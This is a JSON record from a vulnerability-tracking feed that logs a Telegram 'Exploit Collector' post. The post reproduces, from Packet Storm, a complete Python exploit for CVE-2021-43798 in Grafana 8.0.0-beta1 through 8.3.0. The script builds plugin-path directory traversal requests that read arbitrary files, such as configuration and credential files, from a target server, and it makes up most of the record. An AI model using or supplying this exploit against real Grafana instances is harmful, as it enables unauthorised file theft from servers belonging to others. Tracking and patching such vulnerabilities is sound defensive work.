{"uuid": "60a426f2-2f2d-4085-a6da-d6b2fa87f113", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "GHSA-8PJX-JJ86-J47P", "type": "seen", "source": "https://t.me/hacking_Attack/34328", "content": "Exploit Collector\nGrafana 8.3.0 Directory Traversal / Arbitrary File Read\n\nhttps://3.bp.blogspot.com/-jrxagBWWEzc/WWlvX2ct0sI/AAAAAAAAIOc/SeYUuYsvaHQ6pP3Hky0NtyeOgPg6HpFpgCLcBGAs/s1600/h54.png \nGrafana version 8.3.0 suffers from a directory traversal vulnerability that can allow for arbitrary file reading.\n\nMD5 | 6c5e75e53691c8f37a2a3aa15b286cca\n\nDownload\n# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read\n# Date: 08/12/2021\n# Exploit Author: s1gh\n# Vendor Homepage: https://grafana.com/\n# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p\n# Version: V8.0.0-beta1 through V8.3.0\n# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.\n# CVE: CVE-2021-43798\n# Tested on: Debian 10\n# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p\n\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport requests\nimport argparse\nimport sys\nfrom random import choice\n\nplugin_list = [\n\"alertlist\",\n\"annolist\",\n\"barchart\",\n\"bargauge\",\n\"candlestick\",\n\"cloudwatch\",\n\"dashlist\",\n\"elasticsearch\",\n\"gauge\",\n\"geomap\",\n\"gettingstarted\",\n\"grafana-azure-monitor-datasource\",\n\"graph\",\n\"heatmap\",\n\"histogram\",\n\"influxdb\",\n\"jaeger\",\n\"logs\",\n\"loki\",\n\"mssql\",\n\"mysql\",\n\"news\",\n\"nodeGraph\",\n\"opentsdb\",\n\"piechart\",\n\"pluginlist\",\n\"postgres\",\n\"prometheus\",\n\"stackdriver\",\n\"stat\",\n\"state-timeline\",\n\"status-histor\",\n\"table\",\n\"table-old\",\n\"tempo\",\n\"testdata\",\n\"text\",\n\"timeseries\",\n\"welcome\",\n\"zipkin\"\n]\n\ndef exploit(args):\ns = requests.Session()\nheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }\n\nwhile True:\nfile_to_read = input('Read file &gt; ')\n\ntry:\nurl = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read\nreq = requests.Request(method='GET', url=url, headers=headers)\nprep = req.prepare()\nprep.url = url\nr = s.send(prep, verify=False, timeout=3)\n\nif 'Plugin file not found' in r.text:\nprint('[-] File not found\\n')\nelse:\nif r.status_code == 200:\nprint(r.text)\nelse:\nprint('[-] Something went wrong.')\nreturn\nexcept requests.exceptions.ConnectTimeout:\nprint('[-] Request timed out. Please check your host settings.\\n')\nreturn\nexcept Exception:\npass\n\ndef main():\nparser = argparse.ArgumentParser(description=\"Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read\")\nparser.add_argument('-H',dest='host',required=True, help=\"Target host\")\nargs = parser.parse_args()\n\ntry:\nexploit(args)\nexcept KeyboardInterrupt:\nreturn\nif __name__ == '__main__':\nmain()\nsys.exit(0)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:04.777722Z"}